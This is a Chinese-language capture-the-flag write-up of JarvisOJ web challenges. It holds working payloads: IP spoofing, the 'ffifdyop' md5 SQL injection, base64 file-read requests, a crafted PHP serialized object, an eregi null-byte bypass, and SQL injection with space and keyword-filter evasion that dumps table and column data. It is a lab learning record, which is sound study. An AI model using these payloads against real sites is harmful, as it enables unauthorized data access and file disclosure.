前言:总结一下最近做过的jarvisoj的web题,有的很有意思,能学习到很多新知识
LOCALHOST
提示很明显,伪造IP地址即可
抓包进行伪造,即可得出flag
Login
一个提交页面,源码中也没有发现什么线索,抓包来看一下
有一句提示1
"select * from `admin` where password='".md5($pass,true)."'"
这里就涉及到MD5函数的一个知识点了
这到题我们只需让password后面的语句为真即可,参考了大师傅的博客,提供了这样一个字符串
1 | content: ffifdyop |
输入ffifdyop
,当md5
后的hex
转换成字符串后,语句便会成为
1 | select * from admin where password=''or'6<乱码>' |
除此之外,下面的内容也可以注入
1 | content: 129581926211651571912466741651878684928 |
大师傅的博客很详细的解释了为什么''or'6<乱码>'
为真,这里就不详细阐述了,又学到一些新知识
最后输入内容,即可得出flag
参考博客
md5($password,true)
admin
抓包也没有任何线索,御剑扫一下
发现admin_s3cr3t.php
抓包,发现admin=0
,改成1看看有什么变化
内容发现已经变成admin
,一开始还以为得继续往下找线索,没想到这就是flag
神盾局的秘密
很酷的图片,查看源码是否有线索
图片后面的编码是base64,解码查看一下,结果为shield.jpg
,既然是以文件包含的形式传过来的,那么应该也可以读取文件,只要也编码成base64的编码即可
先读取showimg.php
,base64为c2hvd2ltZy5waHA=
,发现源码
读取一下index.php
,base64为aW5kZXgucGhw
,同样发现源码
最后再读取一下shield.php
,base64为c2hpZWxkLnBocA==
,查看源码
到这里,基本上源码都被读取完了,最后提示说flag is in pctf.php
,直接访问的话是没有结果的,应该是另一种方法读取,先审计源码
//showimg.php
文件作用就是读取文件,我们直接读取pctf.php
,便会显示File not found!
,作用就是这些了。
接下来看//Shield.php
一个魔法函数__construct
,这个函数在每次创建新对象时先调用此方法
,用this
将传过来的file
指向filename(空)
,下面的代码则是对传来的file进行判断,如果符号则返回@file_get_contents($this->file);
那么我们能进行突破的入口应该就是在//index.php
了,代码很简单,创建一个新对象,然后将传过来的参数反序列化赋值给对象,再进行读取,那思路就很清晰了,魔法函数__construct
对下面的赋值是没有作用的,在之前就已经调用过了。所以不用管,readfile()
禁用的都是目录读取所需要的一些符号,那我们直接构造pctf.php
的序列化,将它传过去,读取即可,写一个简单的php脚本
1 |
|
1 | O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} |
在index.php
中,传进去
得出flag,至于真假,都试试即可
IN A Mess
查看源码,发现线索
发现源码
下面就来审计源码
参数a
被过滤了.
,然后再将参数a
传给data
,接下来只需满足if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
,即可得到flag.txt
,首先data
必须包含1112 is a nice lab!,这些内容,而且需要以GET方式传进去,看了大师傅的博客,可以用data:,
格式将内容包含进来,具体可以参考data类型的Url格式
参数id是弱类型,直接赋值字母即可绕过
1 | strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) |
这段代码一开始不知道怎么绕过,后面发现是基于eregi
函数的弱类型,用%00
的绕过,当eregi
读到%00的时候,就截止了,具体可以参考ereg漏洞
除此之外,eregi
函数之前也是用于正则表达式,所以也可以这样构造b=.11111
或b=*11111
或b=?11111
都可以
构造payload:1
2
3a=data:,1112 is a nice lab!&id=aaa&b=%00111111
a=data:,1112 is a nice lab!&id=aaa&b=.111111
a=data:,1112 is a nice lab!&id=aaa&b=*11111
很显然,这肯定不是flag,猜想是不是目录,尝试一下
果然是,发现可以通过id传入参数,当id=2时,出现了
这就很明显了,SQL注入
经过几次测试,发现将空格给过滤了,不过绕过空格的方法还是有很多的
例如:
1 | %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ |
具体可以参考
绕过空格
这里采用/*1*/
的方式进行绕过空格
1 | 1/*1*/order/*1*/by/*1*/1 |
发现回显正常,所以没有闭合符号,而且绕过空格的方法是可行的,发现到第四列会报错,所以一共有三列
1 | id=1/*1*/union/**/select/**/1,2,3 |
发现报错
应该是过滤了关键字,双写绕过
1 | id=2/*1*/uunionnion/*1*/seselectlect/*1*/1,2,database() |
查表
(from也被过滤,同样采用双写绕过)
1 | ?id=2/*1*/uunionnion/*1*/seselectlect/*1*/1,2,group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database() |
查字段
1 | ?id=2/*1*/uunionnion/*1*/seselectlect/*1*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_schema=database() |
爆值
1 | ?id=2/*1*/uunionnion/*1*/seselectlect/*1*/1,2,context/*1*/frfromom/*1*/content |
即可得出flag
这次也学到不少知识,就先总结到这里,有时间会继续总结!